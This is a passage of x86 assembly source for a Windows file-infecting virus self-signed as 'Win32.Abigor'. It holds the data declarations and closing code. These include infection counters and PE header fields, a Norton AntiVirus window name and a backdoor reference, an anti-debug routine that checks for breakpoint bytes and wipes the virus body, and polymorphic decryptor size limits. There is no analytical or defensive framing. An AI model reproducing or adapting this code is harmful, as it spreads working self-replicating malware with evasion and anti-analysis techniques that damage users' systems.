"SHGetFileInfo",0 szExitProcess db "ExitProcess",0 msvcrt db "msvcrt",0 _exit db "_exit",0 ; Msvctr's C\C++ standard exit function exit db "exit",0 ; ... ;divider dd 10000000 NAV_Win db "Norton AntiVirus",0 hNAVWnd dd ? TS_Win db "TS_server",0 ; Tiny Sting backdoor U32APIZ: szMessageBoxA db "MessageBoxA",0 ;szMessageBeep db "MessageBeep",0 ;pAlloc dd 0 hFind dd 0 ApiCounter dd 0 _USER32 dd 0 _ADVAPI32 dd 0 _PSAPI dd 0 _Shell32 dd 0 _Exit1 dd 0 _Exit2 dd 0 _Exit3 dd 0 ThunkIndex dd 0 ;ImportSec dd 0 hFile dd 0 hMap dd 0 pMap dd 0 Size2Align dd 0 ;CryptBuf dd 0 FAlignment dd 0 ImageBase dd 0 ;EntryPoint dd 0 PEheader dd 0 OriginalAttributes dd 0 OriginalFileTime dd 0 ;SectionAlignment dd 0 InfectionTime FILETIME <0> CreationTime FILETIME <0> LastAccessTime FILETIME <0> LastWriteTime FILETIME <0> TimeDifference FILETIME <0> ;ExitCode dd 0 pFileName dd 0 SecHeader dd 0 HostBase dd 0 Patched? dd 0 SizeRelative dd 0 hSFC dd 0 pAlloc dd 0 OldSize dd 0 ;hSnapShot dd 0 OldCompName db (MAX_COMPUTERNAME_LENGTH + 1) dup (0) InfectionCtr db 0 _SizeTestFailed db 0 NewSystem db 0 K32Api proc push eax push dword ptr [ebp+_KERNEL32] Call dword ptr [ebp+_GetProcAddress] Call StealthCode jmp eax K32Api endp U32Api proc push eax push dword ptr [ebp+_USER32] Call dword ptr [ebp+_GetProcAddress] Call StealthCode jmp eax U32Api endp ADVAPI32Api proc push eax push dword ptr [ebp+_ADVAPI32] Call dword ptr [ebp+_GetProcAddress] Call StealthCode jmp eax ADVAPI32Api endp PSAPIApi proc push eax push dword ptr [ebp+_PSAPI] Call dword ptr [ebp+_GetProcAddress] Call StealthCode jmp eax PSAPIApi endp StealthCode proc mov ecx, dword ptr [esp+4] cmp byte ptr [ecx], 0CCh ; BPX check : Virus code return address jz ZeroShit cmp byte ptr [eax], 0CCh ; BPX check : Api entrypoint jz ZeroShit ret StealthCode endp ZeroShit: exception_handler: xor edx,edx pop dword ptr fs:[edx] ;mov esp, [esp + 8] db 0BDh @@Delta dd 0 ; Restore Delta .IF byte ptr [ebp + _MainHostFile] == 1 @@: Call ReDoMainHost cmp byte ptr [ebp + _MainHostFile], 1 jz @B .ENDIF lea eax,dword ptr [ebp+msvcrt] push eax lea eax,dword ptr [ebp+szLoadLibraryA] CAll K32Api lea ecx,dword ptr [ebp+exit] push ecx push eax lea eax,dword ptr [ebp+szGetProcAddress] CAll K32Api mov ebx, eax TheEnd: xor eax, eax push 0 ; ExitCode mov ecx, ZeroShitSize / 4 lea edi, [ebp + VirusStart] ZeroShitSize equ ($ - OFFSET VirusStart) rep stosd Call ebx ret db "Win32.Abigor, Extra_Face 2003 (c)",0 EndVir: VirusSize equ OFFSET EndVir - OFFSET VirusStart CryptSize equ OFFSET EndVir - OFFSET VirusStart MAX_POLY_SIZE equ VirusSize + MAX_DEC_SIZE MAX_DEC_SIZE equ 120000 ; Big MEM MAX_POLY_RECURSIVITY_SIZE equ MAX_DEC_SIZE / 2 MAX_BRANCH_CODE_SIZE equ 30000 ; for branch structures MINIMUM_FILE_SIZE equ 8000 MAXIMUM_FILE_SIZE equ 4000000 TIME_DROP equ 0FFFFFFE0h ;FFFFFD00 ~= 3,5 jours end start